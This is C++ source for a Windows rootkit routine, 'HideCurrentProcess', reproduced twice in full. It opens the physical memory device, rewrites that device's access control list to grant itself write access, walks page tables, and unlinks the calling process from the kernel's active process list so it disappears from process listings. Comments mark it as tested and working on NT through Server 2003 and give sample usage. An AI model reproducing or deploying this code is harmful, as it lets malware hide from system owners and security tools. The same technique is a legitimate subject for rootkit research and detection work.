//
// HideProcess.cpp
//
// Tested on: (All in VMware)
// NT SP6 Wkst. Working
// 2K SP4 Pro. Working
// XP SP2 Pro. Working
// 2K3 Std. Working
// 2K3 Ent. Working
//
// Found:
// Multiple Chinese sites (Google: LinearToPhys)
//
// Some code looks like it is from "Playing with Windows /dev/(k)mem" by: crazylord
// <a href="http://www.phrack.org/phrack/59/p59-0x10.txt" target="_blank">http://www.phrack.org/phrack/59/p59-0x10.txt</a>
//
// Symantec did a white paper on malware and rootkits that describes this method
// <a href="http://www.symantec.com/avcenter/reference/when.malware.meets.rootkits.pdf" target="_blank">http://www.symantec.com/avcenter/re...ts.rootkits.pdf</a>
//
// 05/18/06 - Cleaned up source
// 05/20/06 - Added 2K3 support
// 05/21/06 - Added NT support
//
// Needs to be done:
// Fix PAE support (boot.ini, /PAE switch)
//
// Sample usage:
// #include <windows.h>
// BOOL HideCurrentProcess();
//
// int main(int argc, char *argv[])
// {
// HideCurrentProcess();
// MessageBoxA(NULL, "Process Should be hidden", NULL, MB_OK | MB_ICONINFORMATION);
// return 0;
// }
//
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS ;
typedef struct _UNICODE_STRING
{
USHORT Length ;
USHORT MaximumLength ;
PWSTR Buffer ;
} UNICODE_STRING, *PUNICODE_STRING ;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length ;
HANDLE RootDirectory ;
PUNICODE_STRING ObjectName ;
ULONG Attributes ;
PVOID SecurityDescriptor ;
PVOID SecurityQualityOfService ;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;
typedef NTSTATUS(CALLBACK* ZWOPENSECTION)(OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );
typedef VOID(CALLBACK* RTLINITUNICODESTRING)(IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
static RTLINITUNICODESTRING RtlInitUnicodeString = NULL ;
static ZWOPENSECTION ZwOpenSection = NULL ;
static HMODULE g_hNtDLL = NULL ;
static PVOID g_pMapPhysicalMemory = NULL ;
static HANDLE g_hPhysicalMemory = NULL ;
static OSVERSIONINFO g_ovVerInfo ;
// BOOL g_bPaeEnabled = FALSE;
//
// Load ntdll.dll and retrieve function addresses
BOOL InitNtDll ()
{
g_hNtDLL = LoadLibrary(_T("ntdll.dll" ));
if (NULL == g_hNtDLL )
return FALSE ;
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(g_hNtDLL, "RtlInitUnicodeString" );
ZwOpenSection = (ZWOPENSECTION)GetProcAddress(g_hNtDLL, "ZwOpenSection" );
if (!RtlInitUnicodeString || !ZwOpenSection )
return FALSE ;
return TRUE ;
}
//
// Free ntdll.dll
void CloseNtDll ()
{
if (g_hNtDLL )
FreeLibrary(g_hNtDLL );
g_hNtDLL = NULL ;
}
//
// Modifies ACL to allow write access to section
void SetPhyscialMemorySectionCanBeWrited(HANDLE hSection )
{
// Retrieve the security descriptor
PACL pDacl = NULL ;
PSECURITY_DESCRIPTOR pSD = NULL ;
DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD );
if (dwRes != ERROR_SUCCESS )
return;
// Setup the access struct, write access for current user
EXPLICIT_ACCESS ea ;
RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS ));
ea.grfAccessPermissions = SECTION_MAP_WRITE ;
ea.grfAccessMode = GRANT_ACCESS ;
ea.grfInheritance= NO_INHERITANCE ;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME ;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER ;
ea.Trustee.ptstrName = _T("CURRENT_USER" );
// Create the new ACL
PACL pNewDacl = NULL ;
dwRes = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl );
if (ERROR_SUCCESS != dwRes )
{
if (pSD )
LocalFree(pSD );
if (pNewDacl )
LocalFree(pNewDacl );
return;
}
// Set the security descriptor
dwRes = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL );
if (ERROR_SUCCESS != dwRes )
{
if (pSD )
LocalFree(pSD );
if (pNewDacl )
LocalFree(pNewDacl );
return;
}
}
//
// Opens a handle and maps a view of the physical memory device
int OpenPhysicalMemory ()
{
// Set the system PDB based on OS
ULONG PhyDirectory = 0 ;
if (g_ovVerInfo.dwMajorVersion == 5 )
{
if (g_ovVerInfo.dwMinorVersion == 0) // 2K
{
PhyDirectory = 0x30000 ;
}
else if (g_ovVerInfo.dwMinorVersion == 1) // XP
{
// if (g_bPaeEnabled)
// PhyDirectory = 0x33f00;
// else
PhyDirectory = 0x39000 ;
}
else if (g_ovVerInfo.dwMinorVersion == 2) // 2K3
{
// if (g_bPaeEnabled)
// PhyDirectory = 0xad6000;
// else
PhyDirectory = 0x39000 ;
}
}
else if (g_ovVerInfo.dwMajorVersion == 4 && // NT
g_ovVerInfo.dwMinorVersion == 0 &&
g_ovVerInfo.dwPlatformId == 2 )
{
PhyDirectory = 0x30000 ;
}
if (PhyDirectory == 0 )
return -1 ;
UNICODE_STRING uszDevice ;
RtlInitUnicodeString(&uszDevice, L"/Device/PhysicalMemory" );
// Setup the object attributes
OBJECT_ATTRIBUTES oaAttr ;
oaAttr.Length = sizeof(OBJECT_ATTRIBUTES );
oaAttr.RootDirectory = NULL ;
oaAttr.ObjectName = &uszDevice ;
oaAttr.Attributes = 0 ;
oaAttr.SecurityDescriptor = NULL ;
oaAttr.SecurityQualityOfService = NULL ;
// Open the physical memory device with write access
NTSTATUS lStatus ;
lStatus = ZwOpenSection(&g_hPhysicalMemory, SECTION_MAP_READ | SECTION_MAP_WRITE, &oaAttr );
// If the attempt failed, try to modify the acl so we can open it
if (lStatus == STATUS_ACCESS_DENIED )
{
lStatus = ZwOpenSection(&g_hPhysicalMemory, READ_CONTROL | WRITE_DAC, &oaAttr );
SetPhyscialMemorySectionCanBeWrited(g_hPhysicalMemory );
CloseHandle(g_hPhysicalMemory );
lStatus = ZwOpenSection(&g_hPhysicalMemory, SECTION_MAP_READ | SECTION_MAP_WRITE, &oaAttr );
}
if (!NT_SUCCESS(lStatus ))
return -2 ;
// Map a view of the memory
g_pMapPhysicalMemory = MapViewOfFile(g_hPhysicalMemory, FILE_MAP_READ | FILE_MAP_WRITE, 0, PhyDirectory, 0x1000 );
if (!g_pMapPhysicalMemory )
return -3 ;
return 1 ;
}
//
// Close the handle and map to the physical memory device
void ClosePhysicalMemory ()
{
if (g_pMapPhysicalMemory )
UnmapViewOfFile(g_pMapPhysicalMemory );
if (g_hPhysicalMemory )
CloseHandle(g_hPhysicalMemory );
g_pMapPhysicalMemory = NULL ;
g_hPhysicalMemory = NULL ;
}
//
// Maps a virtual address to a physical address
PVOID LinearToPhys(PULONG pBaseAddress, PVOID pVirtualAddr )
{
if (!pBaseAddress )
return 0 ;
ULONG ulVirtualAddr = (ULONG)pVirtualAddr, ulPhysicalAddr ;
// Doesn't work on my 2K virtual machine if this code is enabled
// if (ulVirtualAddr >= 0x80000000 && ulVirtualAddr < 0xa0000000)
// {
// ulPhysicalAddr = ulVirtualAddr - 0x80000000;
// return (PVOID)ulPhysicalAddr;
// }
ULONG ulPageDir, ulPageTable ;
ulPageDir = pBaseAddress[ulVirtualAddr >> 22 ];
if ((ulPageDir & 1) != 0 )
{
ULONG tmp = ulPageDir & 0x00000080 ;
if (tmp != 0 )
{
ulPhysicalAddr = ((ulPageDir & 0xFFC00000) + (ulVirtualAddr & 0x003FFFFF ));
}
else
{
ulPageDir = (ULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_ALL_ACCESS, 0, ulPageDir & 0xFFFFF000, 0x1000 );
ulPageTable = ((PULONG)ulPageDir)[(ulVirtualAddr & 0x003FF000) >> 12 ];
if ((ulPageTable & 1) != 0 )
{
ulPhysicalAddr = (ulPageTable & 0xFFFFF000) + (ulVirtualAddr & 0x00000FFF );
UnmapViewOfFile((PVOID)ulPageDir );
}
else
{
return 0 ;
}
}
}
else
{
return 0 ;
}
return (PVOID)ulPhysicalAddr ;
}
//
// Reads data from memory
ULONG GetData(PVOID pVirtualAddr )
{
ULONG ulPhysicalAddr = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, pVirtualAddr );
if (!ulPhysicalAddr )
return 0 ;
PULONG pTemp = (PULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_READ, 0, ulPhysicalAddr & 0xFFFFF000, 0x1000 );
if (!pTemp )
return 0 ;
ULONG ulReturn = pTemp[(ulPhysicalAddr & 0xFFF) >> 2 ];
UnmapViewOfFile(pTemp );
return ulReturn ;
}
//
// Writes data to memory
BOOL SetData(PVOID pVirtualAddr, ULONG ulData )
{
ULONG ulPhysicalAddr = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, pVirtualAddr );
if (!ulPhysicalAddr )
return FALSE ;
PULONG pTemp = (PULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_WRITE, 0, ulPhysicalAddr & 0xFFFFF000, 0x1000 );
if (!pTemp )
return FALSE ;
pTemp[(ulPhysicalAddr & 0xFFF) >> 2] = ulData ;
UnmapViewOfFile(pTemp );
return TRUE ;
}
//
BOOL EnablePrivilege(TCHAR *pPrivName, BOOL bEnable/* = TRUE*/ )
{
HANDLE hToken ;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ))
return FALSE ;
LUID uidName ;
if (!LookupPrivilegeValue(NULL, pPrivName, &uidName ))
{
CloseHandle(hToken );
return FALSE ;
}
TOKEN_PRIVILEGES tpToken ;
tpToken.PrivilegeCount = 1 ;
tpToken.Privileges[0].Luid = uidName ;
tpToken.Privileges[0].Attributes = bEnable?SE_PRIVILEGE_ENABLED:SE_PRIVILEGE_REMOVED ;
DWORD dwReturn ;
BOOL bReturn = AdjustTokenPrivileges(hToken, FALSE, &tpToken, sizeof(TOKEN_PRIVILEGES), NULL, &dwReturn );
CloseHandle(hToken );
return bReturn ;
}
//
BOOL HideCurrentProcess ()
{
// Retrieve the OS version
g_ovVerInfo.dwOSVersionInfoSize = sizeof(g_ovVerInfo );
if (!GetVersionEx(&g_ovVerInfo ))
{
return FALSE ;
}
// Set the flink and blink offsets based on the OS
ULONG nFlinkOffset = 0 ;
ULONG nBlinkOffset = 0 ;
if (g_ovVerInfo.dwMajorVersion == 5 )
{
if (g_ovVerInfo.dwMinorVersion == 0) // 2K
{
nFlinkOffset = 0xA0 ;
nBlinkOffset = 0xA4 ;
}
else if (g_ovVerInfo.dwMinorVersion == 1) // XP
{
nFlinkOffset = 0x88 ;
nBlinkOffset = 0x8C ;
}
else if (g_ovVerInfo.dwMinorVersion == 2) // 2K3
{
nFlinkOffset = 0x8A ;
nBlinkOffset = 0x8E ;
}
}
else if (g_ovVerInfo.dwMajorVersion == 4 && // NT
g_ovVerInfo.dwMinorVersion == 0 &&
g_ovVerInfo.dwPlatformId == 2 )
{
nFlinkOffset = 0x98 ;
nBlinkOffset = 0x9C ;
}
if (nFlinkOffset == 0 || nBlinkOffset == 0 )
{
return FALSE ;
}
// Enable SeSecurityPrivilege
EnablePrivilege(SE_SECURITY_NAME, TRUE );
// Initialize ntdll.dll and open the physical memory
if (!InitNtDll ())
{
return FALSE ;
}
int nRet = OpenPhysicalMemory ();
if (nRet != 1 )
{
CloseNtDll ();
return FALSE ;
}
// Read the ETHREAD struct
ULONG ulThread = GetData((PVOID)0xFFDFF124 );
if (!ulThread )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Read the EPROCESS struct
ULONG ulProcess = GetData((PVOID)(ulThread + 0x44 ));
if (!ulProcess )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Retrieve the flink and blink from the EPROCESS struct
ULONG ulFlink = GetData(PVOID(ulProcess + nFlinkOffset ));
ULONG ulBlink = GetData(PVOID(ulProcess + nBlinkOffset ));
if (!ulFlink || !ulBlink )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Hide from list
if (!SetData((PVOID)(ulFlink + 4), ulBlink ) ||
!SetData((PVOID)(ulBlink), ulFlink ))
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Clean up
ClosePhysicalMemory ();
CloseNtDll ();
// Remove SeSecurityPrivilege
EnablePrivilege(SE_SECURITY_NAME, FALSE );
return TRUE ;
}
// HideProcess.cpp
//
// Tested on: (All in VMware)
// NT SP6 Wkst. Working
// 2K SP4 Pro. Working
// XP SP2 Pro. Working
// 2K3 Std. Working
// 2K3 Ent. Working
//
// Found:
// Multiple Chinese sites (Google: LinearToPhys)
//
// Some code looks like it is from "Playing with Windows /dev/(k)mem" by: crazylord
// <a href="http://www.phrack.org/phrack/59/p59-0x10.txt" target="_blank">http://www.phrack.org/phrack/59/p59-0x10.txt</a>
//
// Symantec did a white paper on malware and rootkits that describes this method
// <a href="http://www.symantec.com/avcenter/reference/when.malware.meets.rootkits.pdf" target="_blank">http://www.symantec.com/avcenter/re...ts.rootkits.pdf</a>
//
// 05/18/06 - Cleaned up source
// 05/20/06 - Added 2K3 support
// 05/21/06 - Added NT support
//
// Needs to be done:
// Fix PAE support (boot.ini, /PAE switch)
//
// Sample usage:
// #include <windows.h>
// BOOL HideCurrentProcess();
//
// int main(int argc, char *argv[])
// {
// HideCurrentProcess();
// MessageBoxA(NULL, "Process Should be hidden", NULL, MB_OK | MB_ICONINFORMATION);
// return 0;
// }
//
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS ;
typedef struct _UNICODE_STRING
{
USHORT Length ;
USHORT MaximumLength ;
PWSTR Buffer ;
} UNICODE_STRING, *PUNICODE_STRING ;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length ;
HANDLE RootDirectory ;
PUNICODE_STRING ObjectName ;
ULONG Attributes ;
PVOID SecurityDescriptor ;
PVOID SecurityQualityOfService ;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;
typedef NTSTATUS(CALLBACK* ZWOPENSECTION)(OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );
typedef VOID(CALLBACK* RTLINITUNICODESTRING)(IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
static RTLINITUNICODESTRING RtlInitUnicodeString = NULL ;
static ZWOPENSECTION ZwOpenSection = NULL ;
static HMODULE g_hNtDLL = NULL ;
static PVOID g_pMapPhysicalMemory = NULL ;
static HANDLE g_hPhysicalMemory = NULL ;
static OSVERSIONINFO g_ovVerInfo ;
// BOOL g_bPaeEnabled = FALSE;
//
// Load ntdll.dll and retrieve function addresses
BOOL InitNtDll ()
{
g_hNtDLL = LoadLibrary(_T("ntdll.dll" ));
if (NULL == g_hNtDLL )
return FALSE ;
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(g_hNtDLL, "RtlInitUnicodeString" );
ZwOpenSection = (ZWOPENSECTION)GetProcAddress(g_hNtDLL, "ZwOpenSection" );
if (!RtlInitUnicodeString || !ZwOpenSection )
return FALSE ;
return TRUE ;
}
//
// Free ntdll.dll
void CloseNtDll ()
{
if (g_hNtDLL )
FreeLibrary(g_hNtDLL );
g_hNtDLL = NULL ;
}
//
// Modifies ACL to allow write access to section
void SetPhyscialMemorySectionCanBeWrited(HANDLE hSection )
{
// Retrieve the security descriptor
PACL pDacl = NULL ;
PSECURITY_DESCRIPTOR pSD = NULL ;
DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD );
if (dwRes != ERROR_SUCCESS )
return;
// Setup the access struct, write access for current user
EXPLICIT_ACCESS ea ;
RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS ));
ea.grfAccessPermissions = SECTION_MAP_WRITE ;
ea.grfAccessMode = GRANT_ACCESS ;
ea.grfInheritance= NO_INHERITANCE ;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME ;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER ;
ea.Trustee.ptstrName = _T("CURRENT_USER" );
// Create the new ACL
PACL pNewDacl = NULL ;
dwRes = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl );
if (ERROR_SUCCESS != dwRes )
{
if (pSD )
LocalFree(pSD );
if (pNewDacl )
LocalFree(pNewDacl );
return;
}
// Set the security descriptor
dwRes = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL );
if (ERROR_SUCCESS != dwRes )
{
if (pSD )
LocalFree(pSD );
if (pNewDacl )
LocalFree(pNewDacl );
return;
}
}
//
// Opens a handle and maps a view of the physical memory device
int OpenPhysicalMemory ()
{
// Set the system PDB based on OS
ULONG PhyDirectory = 0 ;
if (g_ovVerInfo.dwMajorVersion == 5 )
{
if (g_ovVerInfo.dwMinorVersion == 0) // 2K
{
PhyDirectory = 0x30000 ;
}
else if (g_ovVerInfo.dwMinorVersion == 1) // XP
{
// if (g_bPaeEnabled)
// PhyDirectory = 0x33f00;
// else
PhyDirectory = 0x39000 ;
}
else if (g_ovVerInfo.dwMinorVersion == 2) // 2K3
{
// if (g_bPaeEnabled)
// PhyDirectory = 0xad6000;
// else
PhyDirectory = 0x39000 ;
}
}
else if (g_ovVerInfo.dwMajorVersion == 4 && // NT
g_ovVerInfo.dwMinorVersion == 0 &&
g_ovVerInfo.dwPlatformId == 2 )
{
PhyDirectory = 0x30000 ;
}
if (PhyDirectory == 0 )
return -1 ;
UNICODE_STRING uszDevice ;
RtlInitUnicodeString(&uszDevice, L"/Device/PhysicalMemory" );
// Setup the object attributes
OBJECT_ATTRIBUTES oaAttr ;
oaAttr.Length = sizeof(OBJECT_ATTRIBUTES );
oaAttr.RootDirectory = NULL ;
oaAttr.ObjectName = &uszDevice ;
oaAttr.Attributes = 0 ;
oaAttr.SecurityDescriptor = NULL ;
oaAttr.SecurityQualityOfService = NULL ;
// Open the physical memory device with write access
NTSTATUS lStatus ;
lStatus = ZwOpenSection(&g_hPhysicalMemory, SECTION_MAP_READ | SECTION_MAP_WRITE, &oaAttr );
// If the attempt failed, try to modify the acl so we can open it
if (lStatus == STATUS_ACCESS_DENIED )
{
lStatus = ZwOpenSection(&g_hPhysicalMemory, READ_CONTROL | WRITE_DAC, &oaAttr );
SetPhyscialMemorySectionCanBeWrited(g_hPhysicalMemory );
CloseHandle(g_hPhysicalMemory );
lStatus = ZwOpenSection(&g_hPhysicalMemory, SECTION_MAP_READ | SECTION_MAP_WRITE, &oaAttr );
}
if (!NT_SUCCESS(lStatus ))
return -2 ;
// Map a view of the memory
g_pMapPhysicalMemory = MapViewOfFile(g_hPhysicalMemory, FILE_MAP_READ | FILE_MAP_WRITE, 0, PhyDirectory, 0x1000 );
if (!g_pMapPhysicalMemory )
return -3 ;
return 1 ;
}
//
// Close the handle and map to the physical memory device
void ClosePhysicalMemory ()
{
if (g_pMapPhysicalMemory )
UnmapViewOfFile(g_pMapPhysicalMemory );
if (g_hPhysicalMemory )
CloseHandle(g_hPhysicalMemory );
g_pMapPhysicalMemory = NULL ;
g_hPhysicalMemory = NULL ;
}
//
// Maps a virtual address to a physical address
PVOID LinearToPhys(PULONG pBaseAddress, PVOID pVirtualAddr )
{
if (!pBaseAddress )
return 0 ;
ULONG ulVirtualAddr = (ULONG)pVirtualAddr, ulPhysicalAddr ;
// Doesn't work on my 2K virtual machine if this code is enabled
// if (ulVirtualAddr >= 0x80000000 && ulVirtualAddr < 0xa0000000)
// {
// ulPhysicalAddr = ulVirtualAddr - 0x80000000;
// return (PVOID)ulPhysicalAddr;
// }
ULONG ulPageDir, ulPageTable ;
ulPageDir = pBaseAddress[ulVirtualAddr >> 22 ];
if ((ulPageDir & 1) != 0 )
{
ULONG tmp = ulPageDir & 0x00000080 ;
if (tmp != 0 )
{
ulPhysicalAddr = ((ulPageDir & 0xFFC00000) + (ulVirtualAddr & 0x003FFFFF ));
}
else
{
ulPageDir = (ULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_ALL_ACCESS, 0, ulPageDir & 0xFFFFF000, 0x1000 );
ulPageTable = ((PULONG)ulPageDir)[(ulVirtualAddr & 0x003FF000) >> 12 ];
if ((ulPageTable & 1) != 0 )
{
ulPhysicalAddr = (ulPageTable & 0xFFFFF000) + (ulVirtualAddr & 0x00000FFF );
UnmapViewOfFile((PVOID)ulPageDir );
}
else
{
return 0 ;
}
}
}
else
{
return 0 ;
}
return (PVOID)ulPhysicalAddr ;
}
//
// Reads data from memory
ULONG GetData(PVOID pVirtualAddr )
{
ULONG ulPhysicalAddr = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, pVirtualAddr );
if (!ulPhysicalAddr )
return 0 ;
PULONG pTemp = (PULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_READ, 0, ulPhysicalAddr & 0xFFFFF000, 0x1000 );
if (!pTemp )
return 0 ;
ULONG ulReturn = pTemp[(ulPhysicalAddr & 0xFFF) >> 2 ];
UnmapViewOfFile(pTemp );
return ulReturn ;
}
//
// Writes data to memory
BOOL SetData(PVOID pVirtualAddr, ULONG ulData )
{
ULONG ulPhysicalAddr = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, pVirtualAddr );
if (!ulPhysicalAddr )
return FALSE ;
PULONG pTemp = (PULONG)MapViewOfFile(g_hPhysicalMemory, FILE_MAP_WRITE, 0, ulPhysicalAddr & 0xFFFFF000, 0x1000 );
if (!pTemp )
return FALSE ;
pTemp[(ulPhysicalAddr & 0xFFF) >> 2] = ulData ;
UnmapViewOfFile(pTemp );
return TRUE ;
}
//
BOOL EnablePrivilege(TCHAR *pPrivName, BOOL bEnable/* = TRUE*/ )
{
HANDLE hToken ;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ))
return FALSE ;
LUID uidName ;
if (!LookupPrivilegeValue(NULL, pPrivName, &uidName ))
{
CloseHandle(hToken );
return FALSE ;
}
TOKEN_PRIVILEGES tpToken ;
tpToken.PrivilegeCount = 1 ;
tpToken.Privileges[0].Luid = uidName ;
tpToken.Privileges[0].Attributes = bEnable?SE_PRIVILEGE_ENABLED:SE_PRIVILEGE_REMOVED ;
DWORD dwReturn ;
BOOL bReturn = AdjustTokenPrivileges(hToken, FALSE, &tpToken, sizeof(TOKEN_PRIVILEGES), NULL, &dwReturn );
CloseHandle(hToken );
return bReturn ;
}
//
BOOL HideCurrentProcess ()
{
// Retrieve the OS version
g_ovVerInfo.dwOSVersionInfoSize = sizeof(g_ovVerInfo );
if (!GetVersionEx(&g_ovVerInfo ))
{
return FALSE ;
}
// Set the flink and blink offsets based on the OS
ULONG nFlinkOffset = 0 ;
ULONG nBlinkOffset = 0 ;
if (g_ovVerInfo.dwMajorVersion == 5 )
{
if (g_ovVerInfo.dwMinorVersion == 0) // 2K
{
nFlinkOffset = 0xA0 ;
nBlinkOffset = 0xA4 ;
}
else if (g_ovVerInfo.dwMinorVersion == 1) // XP
{
nFlinkOffset = 0x88 ;
nBlinkOffset = 0x8C ;
}
else if (g_ovVerInfo.dwMinorVersion == 2) // 2K3
{
nFlinkOffset = 0x8A ;
nBlinkOffset = 0x8E ;
}
}
else if (g_ovVerInfo.dwMajorVersion == 4 && // NT
g_ovVerInfo.dwMinorVersion == 0 &&
g_ovVerInfo.dwPlatformId == 2 )
{
nFlinkOffset = 0x98 ;
nBlinkOffset = 0x9C ;
}
if (nFlinkOffset == 0 || nBlinkOffset == 0 )
{
return FALSE ;
}
// Enable SeSecurityPrivilege
EnablePrivilege(SE_SECURITY_NAME, TRUE );
// Initialize ntdll.dll and open the physical memory
if (!InitNtDll ())
{
return FALSE ;
}
int nRet = OpenPhysicalMemory ();
if (nRet != 1 )
{
CloseNtDll ();
return FALSE ;
}
// Read the ETHREAD struct
ULONG ulThread = GetData((PVOID)0xFFDFF124 );
if (!ulThread )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Read the EPROCESS struct
ULONG ulProcess = GetData((PVOID)(ulThread + 0x44 ));
if (!ulProcess )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Retrieve the flink and blink from the EPROCESS struct
ULONG ulFlink = GetData(PVOID(ulProcess + nFlinkOffset ));
ULONG ulBlink = GetData(PVOID(ulProcess + nBlinkOffset ));
if (!ulFlink || !ulBlink )
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Hide from list
if (!SetData((PVOID)(ulFlink + 4), ulBlink ) ||
!SetData((PVOID)(ulBlink), ulFlink ))
{
ClosePhysicalMemory ();
CloseNtDll ();
return FALSE ;
}
// Clean up
ClosePhysicalMemory ();
CloseNtDll ();
// Remove SeSecurityPrivilege
EnablePrivilege(SE_SECURITY_NAME, FALSE );
return TRUE ;
}